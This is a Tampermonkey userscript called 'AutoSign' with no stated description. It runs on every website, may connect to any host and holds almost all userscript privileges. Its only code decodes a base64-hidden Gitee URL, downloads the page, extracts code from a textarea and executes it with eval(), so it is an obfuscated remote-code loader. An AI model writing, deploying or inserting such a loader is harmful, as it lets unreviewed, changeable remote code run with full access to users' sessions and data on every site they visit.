AutoSign

  1. // ==UserScript==
  2. // @name AutoSign
  3. // @author 熊伟良
  4. // @version 3.7
  5. // @description 无
  6. // @license MIT
  7. // @icon https://s1.ljcdn.com/beike-im-static/favicon.ico
  8. // @grant GM.addStyle
  9. // @grant GM.getValue
  10. // @grant GM.notification
  11. // @grant GM.openInTab
  12. // @grant GM.registerMenuCommand
  13. // @grant GM.setClipboard
  14. // @grant GM.setValue
  15. // @grant GM.xmlHttpRequest
  16. // @grant GM_addStyle
  17. // @grant GM_download
  18. // @grant GM_getResourceText
  19. // @grant GM_getResourceURL
  20. // @grant GM_getValue
  21. // @grant GM_notification
  22. // @grant GM_openInTab
  23. // @grant GM_registerMenuCommand
  24. // @grant GM_setClipboard
  25. // @grant GM_setValue
  26. // @grant GM_unregisterMenuCommand
  27. // @grant GM_xmlhttpRequest
  28. // @grant GM_addValueChangeListener
  29. // @grant unsafeWindow
  30. // @run-at document-idle
  31. // @connect *
  32. // @match *://*/*
  33. // @namespace http://tampermonkey.net/
  34. // ==/UserScript==
  35.  
  36. (async function() {
  37. var encodedString = "aHR0cHM6Ly9naXRlZS5jb20veHdsNzM1NjQ1NTE0L2ZzbmFvaGFpL2Jsb2IvbWFzdGVyLy5BJUU4JUI0JTlEJUU1JUEzJUIzLyVFNyVCRCU5MSVFNyVBRCVCRSVFOCU4NyVBQSVFNSU4QSVBOCVFNSVCRCU5NSVFNSU4NSVBNS5qcw==";
  38. var decodedString = atob(encodedString);
  39. GM_xmlhttpRequest({
  40. method: "GET",
  41. url: decodedString,
  42. onload: async function (response) {
  43. const parser = new DOMParser();
  44. const htmlDoc = parser.parseFromString(response.responseText, "text/html");
  45. const textarea = htmlDoc.querySelector('textarea[name="blob_raw"]');
  46. const code = textarea.textContent.trim();
  47. console.log('成功加载代码')
  48. eval(code);
  49. }
  50. });
  51. })()
  52.